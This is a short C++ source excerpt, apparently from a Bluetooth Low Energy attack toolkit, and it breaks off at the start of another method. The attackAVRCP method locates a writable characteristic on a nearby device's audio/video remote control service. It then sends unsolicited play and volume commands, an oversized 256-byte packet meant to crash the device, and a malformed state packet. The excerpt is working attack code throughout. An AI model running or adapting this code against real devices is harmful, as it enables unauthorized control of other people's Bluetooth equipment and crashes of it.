Method attackAVRCP

src/modules/ble/BLE_Suite.cpp:1332–1375

}

bool AudioAttackService::attackAVRCP(NimBLERemoteService *avrcpService) {
    if (!avrcpService) return false;
    NimBLERemoteCharacteristic *pChar = nullptr;
    const char *avrcpUuids[] = {
        "b4b40101-b4b4-4a8f-9deb-bc87b8e0a8f5",
        "0000110e-0000-1000-8000-00805f9b34fb",
        "0000110f-0000-1000-8000-00805f9b34fb",
        nullptr
    };

    for (int i = 0; avrcpUuids[i] != nullptr; i++) {
        pChar = avrcpService->getCharacteristic(NimBLEUUID(avrcpUuids[i]));
        if (pChar && pChar->canWrite()) break;
    }

    if (!pChar) {
        const std::vector<NimBLERemoteCharacteristic *> &chars = avrcpService->getCharacteristics(true);
        for (auto &ch : chars) {
            if (ch->canWrite()) {
                pChar = ch;
                break;
            }
        }
    }
    if (!pChar) return false;

    uint8_t playCmd[] = {0x00, 0x48, 0x00, 0x00, 0x00};
    uint8_t volUpCmd[] = {0x00, 0x44, 0x00, 0x00, 0x00};
    uint8_t oversizedPacket[256];
    memset(oversizedPacket, 0x41, sizeof(oversizedPacket));
    oversizedPacket[0] = 0xFF;
    oversizedPacket[1] = 0xFF;
    uint8_t invalidState[] = {0x00, 0xFF, 0xFF, 0xFF, 0xFF};

    bool playSent = pChar->writeValue(playCmd, sizeof(playCmd), true);
    delay(200);
    bool volSent = pChar->writeValue(volUpCmd, sizeof(volUpCmd), true);
    delay(200);
    bool crashSent = pChar->writeValue(oversizedPacket, sizeof(oversizedPacket), true);
    delay(300);
    bool stateSent = pChar->writeValue(invalidState, sizeof(invalidState), true);

    return (playSent || volSent || crashSent || stateSent);
}

bool AudioAttackService::attackAudioMedia(NimBLERemoteService *mediaService) {
    if (!mediaService) return false;